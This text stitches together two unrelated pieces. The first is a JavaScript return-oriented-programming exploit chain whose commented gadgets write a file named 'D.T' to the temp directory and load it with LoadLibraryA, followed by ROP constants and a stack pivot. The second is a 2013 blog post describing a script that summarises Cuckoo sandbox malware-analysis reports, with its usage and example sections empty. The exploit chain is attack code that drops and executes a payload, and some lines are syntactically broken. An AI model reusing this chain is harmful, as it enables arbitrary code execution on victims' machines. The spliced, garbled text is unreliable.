r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // Handle
r+=getUnescape(moduleLoadAddr+0x818001] ptr to GetTempPathA
r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {kernel32!GetTempPathA (769e8996)}
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(0x1010101); // 
r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01; to be used to store the path

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01; path
r+=getUnescape(moduleLoadAddr+0x4f16f4); //add     eax,ecx/ret
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret ; is zero
r+=getUnescape(0x542e44); // is "D.T"
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret ;
r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret ;
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret ;

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc05f8);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret 
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x818052]
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc05fc);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f165c); //65cf265c={MSVCR90!fopen (7188fe4a)}
r+=getUnescape(moduleLoadAddr+0x1dee7); //jmp [eax]
r+=getUnescape(moduleLoadAddr+0x5ec1a0); //pop ecx/pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01 ; Points to temppath+DLL name
r+=getUnescape(moduleLoadAddr+0x818015); //scratch_space + 15 ; points to "wb"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret ;

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0600);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret; 

r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0614);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ecx is ptr to 0

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 5e;
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc05f4);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(0x42424242); // ptr to fwrite 
r+=getUnescape(moduleLoadAddr+0x5012b3); //add     esp,10h/ret
r+=getUnescape(0x43434343); // ptr to start of program
r+=getUnescape(0x44444444); // 1
r+=getUnescape(0x44444444); // 00008c00
r+=getUnescape(0x45454545); // file handle


r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1668); // ptr to fclose
r+=getUnescape(moduleLoadAddr+0x1dee7); // jmp     dword ptr [eax]

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret - Useless?
r+=getUnescape(0x45454545);

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}

r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x818101); //Loads D.T as a library
r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f10c0); // ptr to SleepStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret

r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(0x1010101);


r+=getUnescape(0x6f004d);
r+=getUnescape(0x750064);
r+=getUnescape(0x65006c);

ROP_ADD_ESP_4 = 0x20c709bb;
ROP_ADD_ESP_8 = 0x20d7c5ad;
ROP_ADD_ESP_10 = 0x20d022b3;
ROP_ADD_ESP_14 = 0x20cfa63f;
ROP_ADD_ESP_1C = 0x20cec3dd;
ROP_ADD_ESP_3C = 0x2080df51;
XCHG_EAX_ESP = 0x20d18753;
NOP = 0x20801017;
CLR_STACK  = 0x20cea9bf;
STACK_PIVOT = 0x2089209e;




Tuesday, October 8, 2013

Getting a Grip on Your Cuckoo Reports

By Melissa Augustine.

I recently had a forensics case where I had to test a lot of files for malicious behavior. “No problem!” I thought, “I can just use my watcher script to automatically push all 50 files to my cuckoo instance... I'll just sit back and watch the CPUs crunch by...”

That was all well and good... until I realized I needed to go through the 50 reports manually to look for suspicious behavior.

Not cool.

I like how on malwr.com (the online instance of Cuckoo) if you have an account you can get a quick summary of all your submissions such as Filename, Antivirus detections, and file type.

And I wondered if I could create such a thing for my personal Cuckoo Sandbox at home... and so the Cuckoo Scraper Script was born!

Cuckoo Scraper Script

Download: Prerequisites:
  • Jinja2 (which if you are generating reports on Cuckoo, you already have!)
Usage:



--path: Where your analyses folder is for Cuckoo, this is generally at /home/$USER/cuckoo/storage/analyses

--template: the Jinja template to be used for the output. I have included in the script a basic template (called template.html)

--output: Where you want the created HTML file to be saved to

Example



This will generate a HTML file based on the analyses you have in the given path, pulling from the JSON report certain attributes:

  • Filename
  • Yara Hits (if any)
  • Virus Total Response Code
  • Virus Total Verbose Response
  • Number of Positive Hits from VT (if any)
  • URL to VirusTotal report (if there are hits)
  • Link to the Cuckoo HTML Report


Sample Output



The script iterates through all the folders in the path you give as a parameter and then for each of those folders, looks for the report.json file. If it can’t find the report files (i.e. cuckoo couldn’t generate a report for whatever reason), the script lets you know and moves on.

From there, the script parses the JSON and stores the desired fields as variables. These are then passed to Jinja, which renders them using the template provided with the ‘-t’ argument. The result is the pretty (OK not so pretty) output seen above in the last Figure.

The cool thing is with a little knowledge on Jinja, you can add more fields to the output as your analysis requires.